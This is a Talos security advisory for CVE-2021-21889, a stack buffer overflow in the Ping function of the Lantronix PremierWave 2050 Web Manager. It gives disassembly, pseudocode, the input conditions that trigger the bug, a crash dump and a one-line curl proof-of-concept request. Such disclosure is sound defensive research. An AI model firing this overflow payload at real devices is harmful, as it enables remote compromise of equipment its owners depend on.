Talos Vulnerability Report

TALOS-2021-1333

Lantronix PremierWave 2050 Web Manager Ping stack-based buffer overflow vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21889

Summary

A stack-based buffer overflow vulnerability exists in the Web Manager Ping functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the `Ping` ajax directive in the PremierWave 2050 Web Manager application, `ltrx_evo`. This function contains a vulnerable call to `sprintf` with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with no special permissions to overflow a fixed sized buffer allocated on the stack and corrupt the stack frame, resulting in attacker control of the program counter and therefore remote code execution.

Below is a partial disassembly of the relevant portions of the vulnerable function.

```
.text:000BF800                 LDR             R1, =aHost_0 ; "host"
.text:000BF804                 BL              get_POST_param ;                        [1] Extract "host" parameter and store into R5
.text:000BF808                 SUBS            R5, R0, #0 ;                            [2] Confirm that the parameter exists
.text:000BF80C                 MOV             R0, R4
.text:000BF810                 BEQ             loc_BF820
.text:000BF814                 LDRB            R3, [R5] ;                              [3] Confirm that the parameter is not an empty string
.text:000BF818                 CMP             R3, #0
.text:000BF81C                 BNE             loc_BF83C

...

.text:000BF908                 MOV             R0, R5
.text:000BF90C                 BL              NetDottedFormIsOkay ;                   [4] Check if host is a valid IPv4 address format
.text:000BF910                 SUBS            R6, R0, #0
.text:000BF914                 MOVNE           R6, #1
.text:000BF918                 BNE             loc_BFA78
.text:000BF91C                 MOV             R0, R5
.text:000BF920                 BL              NetLooksLikeAnIPv6Address               [5] If not IPv4, check if it appears to be an IPv6
address
.text:000BF924                 SUBS            R8, R0, #0
.text:000BF928                 BNE             loc_BFA78

...

.text:000BFA78                 MOV             R0, R5
.text:000BFA7C                 LDR             R1, =aFe80_0 ; "fe80:"
.text:000BFA80                 MOV             R2, #5
.text:000BFA84                 BL              strncmp ;                               [6] Check if `host` starts with "fed80:", a link-local
IPv6 address
.text:000BFA88                 SUBS            R7, R0, #0
.text:000BFA8C                 BNE             loc_BFB34
.text:000BFA90                 MOV             R0, R5
.text:000BFA94                 MOV             R1, #0x25 ; '%'
.text:000BFA98                 BL              strchr ;                                [7] Ensure `host` does not contain a '%', indicating a
potential zone identifier
.text:000BFA9C                 CMP             R0, #0
.text:000BFAA0                 BNE             loc_BFB38
.text:000BFAA4                 MOV             R7, R0
.text:000BFAA8
.text:000BFAA8 loc_BFAA8                               ; CODE XREF: handler_Ping+3F4↓j
.text:000BFAA8                 MOV             R0, R7  ; a1
.text:000BFAAC                 BL              NetGetInterfaceName
.text:000BFAB0                 LDR             R1, =aNdisc6R1SSGrep ; "ndisc6 -r 1 %s %s | grep Target | awk '"...
.text:000BFAB4                 MOV             R2, R5 ; host
.text:000BFAB8                 MOV             R8, R0
.text:000BFABC                 ADD             R0, SP, #0x970+cmd
.text:000BFAC0                 MOV             R3, R8
.text:000BFAC4                 ADD             R0, R0, #4
.text:000BFAC8                 BL              sprintf ;                               [8] Vulnerable call to `sprintf` which can overflow
`cmd` buffer

...
```

The above disassembly, when decompiled, might be similar to the following representative pseudocode.

```
char* host;
char cmd[267];
...
host = get_param_by_name("host");
if ( !host || !*host ) { error(); }                    [1]
...
if ( NetLooksLikeAnIPv6Address(host) ) {               [2] This check, and the one below, can be passed simply by prefixing the buffer with
'fe80:'
    if ( !strncmp(host, "fe80:", 5) ) {                [3] Confirm that the IPv6 address is link-local
        if ( !strchr(host, '%') ) {                    [4] Confirm that the IPv6 address does not contain a zone identifier,
            // [5] The below `sprintf` call can cause `cmd` to overflow if `host` is large enough
            sprintf(cmd, "ndisc6 -r 1 %s %s | grep Target | awk '{print $1}'", host, InterfaceName);
            ...
        }
        ...
    }
    ...
}
...
```

As indicated in the disassembly at positions `[2]`, `[3]`, `[5]`, `[6]`, and `[7]`, and the decompilation at positions `[1]`, `[2]`, `[3]`, and `[4]`, there are a handful of requirements to successfully overflow the buffer. The contents of the attacker-controlled `host` parameter must not be empty, they must begin with "fe80:", and they must not contain the character `%` or `\0`.

If these conditions are met, the attacker can supply a sufficiently long value in the `host` parameter and overflow the vulnerable buffer, ultimately taking control of the program counter and flow of execution.

Crash Information

```
Thread 12 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 24149.24232]

──────────────────────────────────────────────────────────────────────────────── registers ────
$r0  : 0x1
$r1  : 0x0
$r2  : 0x422684d4  →  0x00000000
$r3  : 0x2
$r4  : 0x4d4d4d4d ("MMMM"?)
$r5  : 0x4d4d4d4d ("MMMM"?)
$r6  : 0x4d4d4d4d ("MMMM"?)
$r7  : 0x4d4d4d4d ("MMMM"?)
$r8  : 0x4d4d4d4d ("MMMM"?)
$r9  : 0x4d4d4d4d ("MMMM"?)
$r10 : 0x4d4d4d4d ("MMMM"?)
$r11 : 0x4d4d4d4d ("MMMM"?)
$r12 : 0x0
$sp  : 0x42260ec8  →  "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lr  : 0x000e3c78  →   movs r1,  r0
$pc  : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────────────────────────────────
```

Exploit Proof of Concept

```
curl --user user:user -d "ajax=Ping&submit=Ping&timeout=5&count=3&host=`python -c "print('fe80:' + 'M'*2048)"`" http://192.168.0.1/
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
